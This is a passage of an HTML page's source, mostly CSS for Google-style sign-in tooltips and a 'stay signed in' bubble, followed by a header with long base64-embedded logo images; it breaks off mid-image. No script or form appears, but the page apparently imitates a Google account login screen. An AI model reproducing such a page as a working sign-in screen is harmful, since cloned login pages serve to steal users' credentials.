margin-bottom: 0;
}
.jfk-tooltip-arrow {
position: absolute;
}
.jfk-tooltip-arrow .jfk-tooltip-arrowimplbefore,
.jfk-tooltip-arrow .jfk-tooltip-arrowimplafter {
display: block;
height: 0;
position: absolute;
width: 0;
}
.jfk-tooltip-arrow .jfk-tooltip-arrowimplbefore {
border: 9px solid;
}
.jfk-tooltip-arrow .jfk-tooltip-arrowimplafter {
border: 8px solid;
}
.jfk-tooltip-arrowdown {
bottom: 0;
}
.jfk-tooltip-arrowup {
top: -9px;
}
.jfk-tooltip-arrowleft {
left: -9px;
top: 30px;
}
.jfk-tooltip-arrowright {
right: 0;
top: 30px;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore,.jfk-tooltip-arrowup .jfk-tooltip-arrowimplbefore {
border-color: #bbb transparent;
left: -9px;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore {
border-color: #a8a8a8 transparent;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplafter,.jfk-tooltip-arrowup .jfk-tooltip-arrowimplafter {
border-color: #fff transparent;
left: -8px;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore {
border-bottom-width: 0;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplafter {
border-bottom-width: 0;
}
.jfk-tooltip-arrowup .jfk-tooltip-arrowimplbefore {
border-top-width: 0;
}
.jfk-tooltip-arrowup .jfk-tooltip-arrowimplafter {
border-top-width: 0;
top: 1px;
}
.jfk-tooltip-arrowleft .jfk-tooltip-arrowimplbefore,
.jfk-tooltip-arrowright .jfk-tooltip-arrowimplbefore {
border-color: transparent #bbb;
top: -9px;
}
.jfk-tooltip-arrowleft .jfk-tooltip-arrowimplafter,
.jfk-tooltip-arrowright .jfk-tooltip-arrowimplafter {
border-color:transparent #fff;
top:-8px;
}
.jfk-tooltip-arrowleft .jfk-tooltip-arrowimplbefore {
border-left-width: 0;
}
.jfk-tooltip-arrowleft .jfk-tooltip-arrowimplafter {
border-left-width: 0;
left: 1px;
}
.jfk-tooltip-arrowright .jfk-tooltip-arrowimplbefore {
border-right-width: 0;
}
.jfk-tooltip-arrowright .jfk-tooltip-arrowimplafter {
border-right-width: 0;
}
.jfk-tooltip-closebtn {
background: url("http://ssl.gstatic.com/ui/v1/icons/common/x_8px.png") no-repeat;
border: 1px solid transparent;
height: 21px;
opacity: .4;
outline: 0;
position: absolute;
right: 2px;
top: 2px;
width: 21px;
}
.jfk-tooltip-closebtn:focus,
.jfk-tooltip-closebtn:hover {
opacity: .8;
cursor: pointer;
}
.jfk-tooltip-closebtn:focus {
border-color: #4d90fe;
} </style>
<style media="screen and (max-width: 580px)" type="text/css">
.jfk-tooltip {
display: none;
} </style>
<style type="text/css">
.need-help-reverse {
float: right;
}
.remember .bubble-wrap {
position: absolute;
padding-top: 3px;
-o-transition: opacity .218s ease-in .218s;
-moz-transition: opacity .218s ease-in .218s;
-webkit-transition: opacity .218s ease-in .218s;
transition: opacity .218s ease-in .218s;
left: -999em;
opacity: 0;
width: 314px;
margin-left: -20px;
}
.remember:hover .bubble-wrap,
.remember input:focus ~ .bubble-wrap,
.remember .bubble-wrap:hover,
.remember .bubble-wrap:focus {
opacity: 1;
left: inherit;
}
.bubble-pointer {
border-left: 10px solid transparent;
border-right: 10px solid transparent;
border-bottom: 10px solid #fff;
width: 0;
height: 0;
margin-left: 17px;
}
.bubble {
background-color: #fff;
padding: 15px;
margin-top: -1px;
font-size: 11px;
-moz-border-radius: 2px;
-webkit-border-radius: 2px;
border-radius: 2px;
-moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
-webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
}
#stay-signed-in {
float: left;
}
#stay-signed-in-tooltip {
left: auto;
margin-left: -20px;
padding-top: 3px;
position: absolute;
top: 0;
visibility: hidden;
width: 314px;
z-index: 1;
}
.dasher-tooltip {
position: absolute;
left: 50%;
top: 380px;
margin-left: 150px;
}
.dasher-tooltip .tooltip-pointer {
margin-top: 15px;
}
.dasher-tooltip p {
margin-top: 0;
}
.dasher-tooltip p span {
display: block;
}
.style1
{
font-weight: inherit;
font-style: inherit;
font-size: 100%;
font-family: inherit;
vertical-align: baseline;
border-style: none;
border-color: inherit;
border-width: 0;
margin: 0;
padding: 0;
}
* {
padding:0;list-style:none;outline:none;
} </style>
<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.dasher-tooltip {
top: 340px;
} </style>
</head>
<body>
<div class="wrapper">
<div class="-header-bar centered">
<div class="header content clearfix">
<img alt="" class="logo" src="data:image/png;base64,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" /></div>
</div>
<div class="main content clearfix">
<div class="banner">
<h1>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAUQAAABlCAYAAAA1bZrhAAAgAElEQVR4Xu1dLUxb3/v//EQnQIDpRBGrKaKI1TABYphOFDEME2UJLFkRdMlKsk7AEkoyJsYSSrIi6JK1yRfEMCBArKYTIKjpBAhqOlEEmE4UUcT//9y3vt63tpTR8jSZGfeel895zuc8b+e5//s/+oF/jAAjwAgwAvgfEyJLASPACDACEgJMiCwJjAAjwAjICDAhsigwAowAI8CEyDLACDACjEA1AqwhskQwAowAI8AaIssAI8AIMAKsIbIMMAKMACOgigCbzCwYjAAjwAiwycwywAgwAowAm8wsA4wAI8AIsMnMMsAIMAKMgB4C7ENk+WAEGAFGgH2ILAOMACPACLAPkWWAEWAEGAH2IbIMMAKMACPAPkSWAUaAEWAETCDAQRUTIPEjBghc/MTim2/IuJfwwzfEcDECHYsAE2LHLt0dGjgT4h1aDB5KKwjcT0Is5pE9PcbhYQrp03Nc5i9xda3AaEGPtR+9VgdcLhdG6J/D3o8HraDc7e/edUJUxmewDpY+K/r7bXCOjmKM1n2I1v3WfsU0Iq8+IT22hAhp2Sxvt4Z8VUf3ixDzZ/gZ20D86BwK/4mboFb6CnlclhkSsPTB6Q4gODOE3n+zTne7104hRNtjuIce1mNZvMAZHYxXdFBe/i2djLD0ODAy48PMmL39634SxYvlBI3NjaUfPrDj4d+I/D0hxAKyPzew8i2FvyAN0DECr3cCo44B9GoexUVcZE+R3t/FztEprt0fEZsZ/DerdNd77RRCNOXjFNY9hcTWDg5+SwenxfoUb1f8eNJOhZEJ8U5I+T0gxAscri5iPUVUaB3GdHAOz+yN6nkFFAq96G30tTuxxLcwiK4ixAq8LtKIra7i4A/RosWJ12shPFNRMG8EYTaZbwTGVhvpckIs4CQawHKCyNAxjc8r4xhoFTF+vx6BbiVEcaYFpEmGPpEMoY/M2TCZs3wwdu0u6GpCvPi5iPlvGcDxGmsrz9Cuw71rpcPsxLqaEAUQLvBzcR7fMtfoIbN7k4MeZiWj457rXkLMH2LFv47fcJCps9I+U0dtyS/OkDw6QDJxgszlXzmAY0EfRa6H3G5MjI2iqQBmIYf0YQL7iRQy50pkXIiK2+AYpnY9Yxh62GB8kto8TOwgUTVWIzmucfw3Q4j5LA73t7B7lMH55ZWE